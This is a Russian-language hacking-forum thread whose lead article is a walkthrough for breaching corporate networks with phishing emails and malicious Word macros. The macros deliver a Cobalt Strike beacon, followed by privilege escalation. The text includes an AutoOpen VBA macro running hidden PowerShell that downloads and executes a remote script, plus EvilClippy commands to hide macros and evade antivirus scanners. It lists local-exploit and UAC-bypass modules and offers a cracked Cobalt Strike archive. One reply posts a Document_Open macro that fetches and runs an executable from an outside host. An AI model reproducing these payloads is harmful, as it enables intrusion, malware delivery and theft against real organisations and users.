• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Получаем доступ к корпоративным сетям с помощью Cobalt Strike & Макросы Word

Krypt0n

Dispersion
Забанен
Регистрация
14.07.2020
Сообщения
875
Реакции
955
Пожалуйста, обратите внимание, что пользователь заблокирован
//ПРИВЕТ
Всем доброго времени суток, это моя первая статья в конкурсах до этого я в них не участвовал, потому что не совпадало с моей тематикой. И так, как ты прочитал в заголовке темы сегодня я покажу как делают атаки на корпоративные сети с помощью фишинга и макросов. Я не буду конкретно показывать как взламывать сеть, а покажу лишь способ доставки нашей полезной нагрузки и прочее механизмы.

//Что нам понадобится?
  • 1) Cobalt Strike - Это отличный фреймворк для эксплуатации и постэксплуатации. В качестве пейлоада используется beacon, у которого есть возможности обфускации и фриза для обхода антивирусов. Поддерживает миграцию в процессы. Подходит в качестве сервера C2 — особенно удобно ориентироваться при большом скоупе. Из коробки имеет генератор полезных нагрузок в один клик, а также различные методы доставки, что экономит немало времени.
  • 2) Макросы в Word - Макрос будет доставлять пэйлоад Cobalt Strike А сам кобальт будет играть в роли C2-сервера.
  • 3) EvilClippy - инструмент, включающий основные техники для создания заражённых файлов. Он манипулирует файлами форматов MS Office 2003 (doc и xls) и 2007 (docm и xlsm).
  • 4) ElevateKit - Скрипт для повышений привилегий. В его комплекте есть разные эскплойты такие как (CVE-2020-0796) (CVE-2014-4113) (CVE-2015-1701) (CVE-2016-0051) (CVE-2016-099) Bypass UAC с помощью eventvwr.exe, schtasks.exe, wscript.exe.
Принцип нашей атаки будет прост.
  • 1) Для начала вы отправляете фишинг письмо. (По какой теме отправлять письмо вы пишите сами.)
  • 2) Макросы в Word. Наш вредоносный макрос будет скачивать пэйлоад Powershell созданный в Cobalt Strike.
  • 3) EvilClippy с помощью этой утилиты мы скроем все макромодули и выключим возможность включить редактор макросов.
  • 4) После мы получаем доступ в Cobalt Strike.
  • 5) ElevateKit - Повышение привилегий.
//ПРАКТИКА
Теперь перейдем к практике. Для начала запускаем teamserver командой: ./teamserver yourip yourpassword после введенной этой команды откроется окно:
2021-07-30_23-33-27.png

Туда пишем IP teamserver'a и порт и жмем кнопку Connect.
Откроется основной интрефейс Cobalt Strike
2021-07-30_23-36-19.png


//ГЕНЕРАЦИЯ ПОЛЕЗНОЙ НАГРУЗКИ
Теперь будем генить полезную нагрузку Powershell. Нажимаем на кнопку Attacks потом Packages и Payload Generator.
После этого выбираем свой Listeners, и меняем нагрузку на Powershell
2021-07-30_23-40-39.png

Можно использовать и x64 payload. Нажимаем Generate и задаем директорию где он сохранит наш Powershell .ps1 скрипт. Все теперь с пэйлоадем разобрались. Обфусцировать код можно с помощью инструмента Invoke-Obfuscation

Вот ссылка:
Invoke-Obfuscation
Теперь перейдем к написанию макроса.

//Создаем макрос
Создаем Word .doc документ. Нажимаем на Вид -> Макросы.
2021-07-30_23-48-47.png

Откроется окно для создания макросов там нужно задать имя макросу. После будет окно IDE. Туда пишем следующий код.
Код:
 Public Sub ExecCmd()

Dim proc As PROCESS_INFORMATION

Dim start As STARTUPINFO

Dim ReturnValue As Integer

' Initialize the STARTUPINFO structure:

start.cb = Len(start)
' Start the shelled application:
ReturnValue = CreateProcessA(0&, Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + " IEX (New-Object Net.WebClient).DownloadString('https://yoururl/shell.ps1')", 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)

ReturnValue = CreateProcessA(0&, "powershell.exe", 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)

' Wait for the shelled application to finish:

Do

ReturnValue = WaitForSingleObject(proc.hProcess, 0)

DoEvents

Loop Until ReturnValue <> 258

ReturnValue = CloseHandle(proc.hProcess)

End Sub

Sub AutoOpen()

ExecCmd

End Sub

Еще советую обфусцировать код
Строка: IEX (New-Object Net.WebClient).DownloadString('https://yoururl/shell.ps1') будет скачивать полезную нагрузку. А строка: ReturnValue = CreateProcessA(0&, Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" запустит powershell а сам же он исполнит наш скрипт и функция WindowsStyle Hidden скроет его.

Я залил код на github и макрос будет скачивать его от туда. Сохраняем макрос и в документ суем вот такую картнику (Она будет внизу)
2021-07-31_00-01-31.png

Мы все еще не закончили. Теперь нам нужен инструмент EvilClippy. С помощью него мы скроем все макромодули и выключим возможность включить редактор кода.

//EvilClippy
Сорцы и сам инструмент есть на github и так же инструкция как его скомпилировать.
ССылка:
EvilClippy
Открываем терминал и пишем
mono EvilClippy.exe -g вашфайл.doc Функция -g Скрывает все макромодули из графического интерфейса.
mono EvilClippy -r вашфайл.doc Фукнция -r Устанавливает случайные имена модулей ASCII. Примечание: известно, что это эффективно для обмана pcodedmp и VirusTotal.
И все мы закончили с макросами и осталось проверить работают ли все функции. Открываем документ, нажимаем Вид/Макросы/Изменить и видим следующее:
2021-07-31_00-13-28.png

Теперь проверим работает ли макрос и получим ли мы доступ.
Открываем документ Word нажимаем на Enable Editing. Сразу же откроется окно powershell и так же сразу же скроется. Потому что в коде есть функция HiddenWindow.
Заходим в Cobalt Strike проверяем все ли работает.
И как ожидалось доступ есть.
2021-07-31_00-17-27.png


//Повышение привилегий
В этой части статьи мы будем повышать привилегии.
Если напишем просто в beacon: elevate то результат нас не порадует. Выведется не много вариантов, будут такие как:
  • svc-exe
  • uac-dll
  • uac-token-duplication
И тоже самое с командой запуск от имени администратора runasadmin

И вот поэтому, берем скрипт ElevateKit с github. Добавляем этот скрипт в Cobalt Strike, нажимаем CobaltStrike/ScriptManager, жмем Load Выбираем файл в формате .cna и нажимаем финальную кнопку Add, и у вас загрузится скрипт.
Теперь нажимаем ПКМ на окно где высвечивается наша жертва потом нажимаем на Interact и пишем в beacon следующую команду: elevate.
Теперь есть будут новые варианты такие как:
  • ms14-058 - TrackPopupMenu Win32k NULL Pointer Dereferense (CVE-2014-4113)
  • ms15-051 - Windows ClientCopyImage Win32k Exploit (CVE-2015-1701)
  • ms16-016 - mrxdav.sys WebDav Local Privilege Escalation (CVE-2016-0051
  • uac-schtasks - Bypass UAC with schtasks.exe (via SilentCleanUp)
Пишем runasadmin и смотрим какие варианты появились:
  • ms16-032 - Secondary Logon Handle Privilege Escalation (CVE-2016-099)
  • uac-cmstplua - Bypass UAC with CMSTPLUA COM interface
  • uac-eventvwr - Bypass UAC with eventvwr.exe
  • uac-wscript - Bypass UAC with wscript.exe
Теперь у нас есть еще больше возможностей. Давайте уже перейдем к выполнению эскплойта.

Для начала добавим новый Listener, именно Payload: Beacon TCP и привязка к локальному хосту. Теперь же у нас есть TCP слушатель только для локального хоста. Давайте же поднимем привилегии. Пишем в beacon:
elevate ms15-051 (Название вашего слушателя) и когда наш маяк зарегистрируется он запустит этот модуль и передаст ему наш TCP маяк. Как вы видите иконка стала красным и это означает, что мы повысили наши привилегии. Хочу рассказать еще об одном инструменте. Есть инструмент SharpUp это - сканер уязвимостей конфигураций для повышения привилегий, написанный на языке C#. Инструмент так же есть на github.

//Конец статьи
Всем спасибо что прочитали до конца. А дальше дело уже за вами.
Пишите если будут трудности где-то.
-----------------------------------------------
P.S
Вот сам Cobalt Strike и код макроса а так же картинка.
Files пароль от Архива Cobalt Strike xss.pro

29.05.2022

EvilClippy говно, юзайте macropack
 
Последнее редактирование:
Для новичка сойдет но если сравнивать с реальной атакой вообще не серьезно.
1) Нагрузка кобальта палиться её нужно подвергнуть обфускации и после этого гарантий что защита не сработает нет я не говорю что вы не подключитесь к боту когда вы будете выполнять команды может как получиться что hips сработает на подозрительную активность из powershell либо сетевой экран запалит кобу по сетевой активности.
2) Вызовы процессов по типу cmd или powershell в дереве процессов Оффиса (под оффисом я понимаю все компоненты для работы с разными форматоми документов в том числе и exel) это мояк для защиты чтобы либо блокировать активность либо предупредить об этой активности пользователя. Возможно я ошибаюсь так как такую связку на EDR и корповских аверах не гонял. Но серовно слишком просто и слишком предсказуемо темболие с окном которые может насторожить юзера.
3) Можно было и придраться и к реализации дока с макросами но я в этом не силен думаю более компетентные люди за меня это отпишут.

Пост скриптум:
Не нужно воспринимать мой сообщение как наезд автор беспорно молодец ибо такие статьи нужные для развития новых малварьщиков ибо время идет все больше людей хотят в малварь а инфа постепенно устревает. Может быть кому это статья даст толчек к тому чтобы развиваться. Я просто указал на некоторые из слабых мест чтобы люди кто хочет учиться по этой статье учитывали их. Не вкоем случае не притендую на завание гуру. К сфере доков отношения не имею. Всем хороших профитов.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Для новичка сойдет но если сравнивать с реальной атакой вообще не серьезно.
1) Нагрузка кобальта палиться её нужно подвергнуть обфускации и после этого гарантий что защита не сработает нет я не говорю что вы не подключитесь к боту когда вы будете выполнять команды может как получиться что hips сработает на подозрительную активность из powershell либо сетевой экран запалит кобу по сетевой активности.
2) Вызовы процессов по типу cmd или powershell в дереве процессов Оффиса (под оффисом я понимаю все компоненты для работы с разными форматоми документов в том числе и exel) это мояк для защиты чтобы либо блокировать активность либо предупредить об этой активности пользователя. Возможно я ошибаюсь так как такую связку на EDR и корповских аверах не гонял. Но серовно слишком просто и слишком предсказуемо темболие с окном которые может насторожить юзера.
3) Можно было и придраться и к реализации дока с макросами но я в этом не силен думаю более компетентные люди за меня это отпишут.

Пост скриптум:
Не нужно воспринимать мой сообщение как наезд автор беспорно молодец ибо такие статьи нужные для развития новых малварьщиков ибо время идет все больше людей хотят в малварь а инфа постепенно устревает. Может быть кому это статья даст толчек к тому чтобы развиваться. Я просто указал на некоторые из слабых мест чтобы люди кто хочет учиться по этой статье учитывали их. Не вкоем случае не притендую на завание гуру. К сфере доков отношения не имею. Всем хороших профитов.
Статья написана именно для новичков.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Для новичка сойдет но если сравнивать с реальной атакой вообще не серьезно.
1) Нагрузка кобальта палиться её нужно подвергнуть обфускации и после этого гарантий что защита не сработает нет я не говорю что вы не подключитесь к боту когда вы будете выполнять команды может как получиться что hips сработает на подозрительную активность из powershell либо сетевой экран запалит кобу по сетевой активности.
2) Вызовы процессов по типу cmd или powershell в дереве процессов Оффиса (под оффисом я понимаю все компоненты для работы с разными форматоми документов в том числе и exel) это мояк для защиты чтобы либо блокировать активность либо предупредить об этой активности пользователя. Возможно я ошибаюсь так как такую связку на EDR и корповских аверах не гонял. Но серовно слишком просто и слишком предсказуемо темболие с окном которые может насторожить юзера.
3) Можно было и придраться и к реализации дока с макросами но я в этом не силен думаю более компетентные люди за меня это отпишут.

Пост скриптум:
Не нужно воспринимать мой сообщение как наезд автор беспорно молодец ибо такие статьи нужные для развития новых малварьщиков ибо время идет все больше людей хотят в малварь а инфа постепенно устревает. Может быть кому это статья даст толчек к тому чтобы развиваться. Я просто указал на некоторые из слабых мест чтобы люди кто хочет учиться по этой статье учитывали их. Не вкоем случае не притендую на завание гуру. К сфере доков отношения не имею. Всем хороших профитов.
Как на счет такого скрипта? Правда только он .bat Конечно его запуск не составит труда.
 

Вложения

  • script.zip
    1 010 байт · Просмотры: 109
2) Вызовы процессов по типу cmd или powershell в дереве процессов Оффиса (под оффисом я понимаю все компоненты для работы с разными форматоми документов в том числе и exel) это мояк для защиты чтобы либо блокировать активность либо предупредить об этой активности пользователя. Возможно я ошибаюсь так как такую связку на EDR и корповских аверах не гонял. Но серовно слишком просто и слишком предсказуемо темболие с окном которые может насторожить юзера.
3) Можно было и придраться и к реализации дока с макросами но я в этом не силен думаю более компетентные люди за меня это отпишут.
Если не дочерним процессом запускать cmd,то в принципе залетит, но иметь в макросе открытые слова по типу "powershell" "cmd" "http(s)" и их производные с chr() это моветон. Опять же использование евилклиппи добавит только детектов. Это не столько страшно запускать на машине,сколько облом прохода проактивок на бигах\корпах.
 
Как на счет такого скрипта? Правда только он .bat Конечно его запуск не составит труда.
никто тебе не даст влезть в реестр если ты не под админом.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если не дочерним процессом запускать cmd,то в принципе залетит, но иметь в макросе открытые слова по типу "powershell" "cmd" "http(s)" и их производные с chr() это моветон. Опять же использование евилклиппи добавит только детектов. Это не столько страшно запускать на машине,сколько облом прохода проактивок на бигах\корпах.
Проверь до EvilClippy и после.
 
так же инструкция как его скомпилировать.
Если автор не против то готовый EvilClippy pass местный с демонстрацией
biggrin.png


 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если автор не против то готовый EvilClippy pass местный с демонстрацией
biggrin.png


Не против. Благодарю вас.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не подскажете как выглядит полный код макроса использованный на видео?
Это часть кода для загрузки powershell скрипта для последующего запуска.
 
Не подскажете как выглядит полный код макроса использованный на видео?
это паблик убитый ))

Код:
Private Sub Document_New()

End Sub

Private Sub Document_Open()
Call Shell("Cmd /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://disk.karelia.pro/m9UmrQ2/1.jpg','C:\ProgramData\1.exe');Start-Process 'C:\ProgramData\1.exe'")
End Sub
 
Злая клиппи уже удрочена,господа,кобальт надо обфусцировать,привелегии надо подымать но если там какой-нить касперский,или нод- то не так все просто)Вообще-то статья хорошая для тех кто начинает осваивать..
 
Пожалуйста, обратите внимание, что пользователь заблокирован
кобальт надо обфусцировать
Можно, ну лучше его совсем переписать, старина Рафи уже не удел, PShell-тоже(перписать), жаль эмпайр,забросили - проект. Мб кто знает чела который пилит реализацию павер-шелла? Стукните в личку, вниманием не обделим.
Злая клиппи уже удрочена
Вот ты мыслишь с позитции как лучше. Лучшее враг хорошего, турецкие школьники досих пор льют анубисa - зарабатывая на хлеб с маслом. Борька вон паблик сплоитом, и изи техникой ложит крупных корпов. Для работяг\трудяг пойдет. И вообще паблик наше все. Кто тут имеет приват-с и воротит нос от фрэймворков\сборок\уже-готового-и-детектящясего? важен же результат и только. На конти глянь, манулы-ёмаё(без-слез-не-взглянешь) , да мимик чист, но и этого не большого набора им вполне хватает на поддержание хорошей статы.
Screenshot from 2021-08-07 03-43-57.png
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх